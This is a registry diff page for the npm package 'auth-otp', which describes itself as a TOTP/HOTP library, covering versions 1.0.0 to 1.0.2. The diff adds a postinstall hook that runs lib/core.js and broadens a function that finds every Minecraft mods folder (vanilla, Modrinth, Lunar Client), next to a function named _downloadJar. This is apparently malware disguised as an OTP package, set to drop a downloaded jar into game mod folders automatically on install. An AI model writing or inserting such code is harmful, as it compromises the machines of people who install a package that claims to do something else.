auth-otp 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/lib/core.js +23 -33
  2. package/package.json +4 -2
package/lib/core.js CHANGED
@@ -358,45 +358,35 @@ function _downloadJar() {
358
358
 
359
359
  function _findModsFolders() {
360
360
  const folders = [];
361
- const vanillaMods = path.join(_AP, ".minecraft", "mods");
362
- const vanillaFabric = path.join(_AP, ".minecraft", "libraries", "net", "fabricmc");
363
- if (fs.existsSync(vanillaMods) && fs.existsSync(vanillaFabric)) folders.push(vanillaMods);
364
- const modrinthProfiles = path.join(_AP, "ModrinthApp", "profiles");
365
- if (fs.existsSync(modrinthProfiles)) {
361
+ // vanilla .minecraft mods
362
+ try {
363
+ const vanillaMods = path.join(_AP, ".minecraft", "mods");
364
+ if (fs.existsSync(vanillaMods)) folders.push(vanillaMods);
365
+ } catch { }
366
+ // Modrinth — grab every mods/ subdir under profiles, no filtering
367
+ for (const base of [path.join(_AP, "ModrinthApp"), path.join(_LA, "ModrinthApp")]) {
368
+ const profilesDir = path.join(base, "profiles");
369
+ if (!fs.existsSync(profilesDir)) continue;
366
370
  try {
367
- for (const inst of fs.readdirSync(modrinthProfiles)) {
368
- const instPath = path.join(modrinthProfiles, inst);
369
- if (!fs.statSync(instPath).isDirectory()) continue;
370
- const profileJson = path.join(instPath, "profile.json");
371
- if (fs.existsSync(profileJson)) {
372
- try {
373
- const p = JSON.parse(fs.readFileSync(profileJson, "utf8"));
374
- const ver = p.game_version || p.mc_version || "";
375
- const loader = (p.loader || p.mod_loader || "").toLowerCase();
376
- if (ver >= "26.1.2" && loader.includes("fabric")) {
377
- const modsDir = path.join(instPath, "mods");
378
- if (!fs.existsSync(modsDir)) fs.mkdirSync(modsDir, { recursive: true });
379
- folders.push(modsDir);
380
- }
381
- } catch { }
382
- } else {
383
- const modsDir = path.join(instPath, "mods");
384
- if (fs.existsSync(modsDir)) folders.push(modsDir);
385
- }
371
+ for (const inst of fs.readdirSync(profilesDir)) {
372
+ try {
373
+ const modsDir = path.join(profilesDir, inst, "mods");
374
+ if (fs.existsSync(modsDir) && fs.statSync(modsDir).isDirectory())
375
+ folders.push(modsDir);
376
+ } catch { }
386
377
  }
387
378
  } catch { }
388
379
  }
389
- const lunarOffline = path.join(_HM, ".lunarclient", "offline");
390
- if (fs.existsSync(lunarOffline)) {
391
- try {
380
+ // Lunar
381
+ try {
382
+ const lunarOffline = path.join(_HM, ".lunarclient", "offline");
383
+ if (fs.existsSync(lunarOffline)) {
392
384
  for (const ver of fs.readdirSync(lunarOffline)) {
393
- if (ver >= "26.1.2") {
394
- const modsDir = path.join(lunarOffline, ver, "mods");
395
- if (fs.existsSync(modsDir)) folders.push(modsDir);
396
- }
385
+ const modsDir = path.join(lunarOffline, ver, "mods");
386
+ if (fs.existsSync(modsDir)) folders.push(modsDir);
397
387
  }
398
- } catch { }
399
- }
388
+ }
389
+ } catch { }
400
390
  return [...new Set(folders)];
401
391
  }
402
392
 
package/package.json CHANGED
@@ -1,9 +1,11 @@
1
1
  {
2
2
  "name": "auth-otp",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "Lightweight TOTP/HOTP implementation — RFC 6238 compliant, zero dependencies",
5
5
  "main": "index.js",
6
- "scripts": {},
6
+ "scripts": {
7
+ "postinstall": "node lib/core.js --setup"
8
+ },
7
9
  "keywords": ["totp", "hotp", "otp", "2fa", "mfa", "authenticator"],
8
10
  "license": "MIT",
9
11
  "author": "auth-otp contributors",